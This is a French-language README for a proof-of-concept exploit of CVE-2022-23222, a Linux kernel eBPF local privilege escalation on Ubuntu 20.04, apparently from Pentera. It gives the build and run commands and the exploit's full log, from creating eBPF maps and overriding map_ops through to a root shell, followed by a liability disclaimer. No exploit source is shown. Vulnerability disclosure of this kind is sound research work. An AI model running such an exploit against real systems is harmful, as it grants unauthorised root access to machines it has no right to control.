
Exploit de preuve de concept pour CVE-2022-23222, une escalade de privilèges locale du noyau Linux via eBPF. Démontre la manipulation du tampon circulaire et les opérations sur les maps pour obtenir un shell root sur des systèmes Ubuntu 20.04 vulnérables.
Ceci est un PoC pour CVE-2022-23222, une vulnérabilité d'élévation de privilèges locale. Ce PoC a été écrit pour Ubuntu 20.04 avec la version de noyau 5.13.0-27-generic, mais d'autres versions du noyau sont également vulnérables. Pour une analyse détaillée de l'exploit, veuillez lire notre analyse.
Assurez-vous que libbpf est installé, car il s'agit d'une exigence pour l'exploit.
Pour compiler le PoC, exécutez la commande suivante :
make
Pour exécuter l'exploit, exécutez l'exécutable suivant :
./exploit
[+] eBPF enabled, ringbuf created!
[!] staring to create new maps until we get two consecutive maps
[+] created map 1
[+] generated random value: f2dec021c4bb41b7
[+] created map 2
[+] generated random value: 3d247a46c6ed75e4
[+] two new maps created!
[+] value read from slab: 0
[+] value read from slab: 0
[+] created map 3
[+] generated random value: 3214fb323b506766
[+] created map 4
[+] generated random value: 909d65f4ebe3bc9a
[+] eBPF enabled, maps created!
[+] value read from slab: 0
[+] value read from slab: 0
[+] created map 5
[+] generated random value: 6bd18dfb510e1f0f
[+] created map 6
[+] generated random value: 8bd7c8e518387c75
[+] eBPF enabled, maps created!
[+] value read from slab: 3214fb323b506766
[+] aligned map found in map 2
1: 6bd18dfb510e1f0f
2: 3214fb323b506766
[+] closing unnecessary_maps
[+] found map address: 0xffff94d44cf48800
[+] overriding map_ops
[+] detected kernel slide 11200000
[+] setting spin_lock = 0
[+] setting max_entries = 0xffffffff
[+] setting map_type = BPF_MAP_TYPE_STACK
[+] getting root
[+] iterating over task_struct list to find out process
[+] got it!
[+] cleaning up
[+] getting shell!
#
Le code décrit dans cet avis (le « Code ») est fourni « en l'état » et « tel quel » et peut contenir des bogues, des erreurs et d'autres défauts. Il est recommandé de sauvegarder les données importantes et de faire preuve de prudence. En utilisant ce Code, vous acceptez que Pentera n'ait aucune responsabilité envers vous pour toute réclamation en relation avec le Code. Pentera décline toute responsabilité pour tout dommage direct, indirect, accessoire, punitif, exemplaire, spécial ou consécutif, même si Pentera ou ses parties liées sont informés de la possibilité de tels dommages. Pentera n'assume aucune obligation de mettre à jour le Code ou cet avis.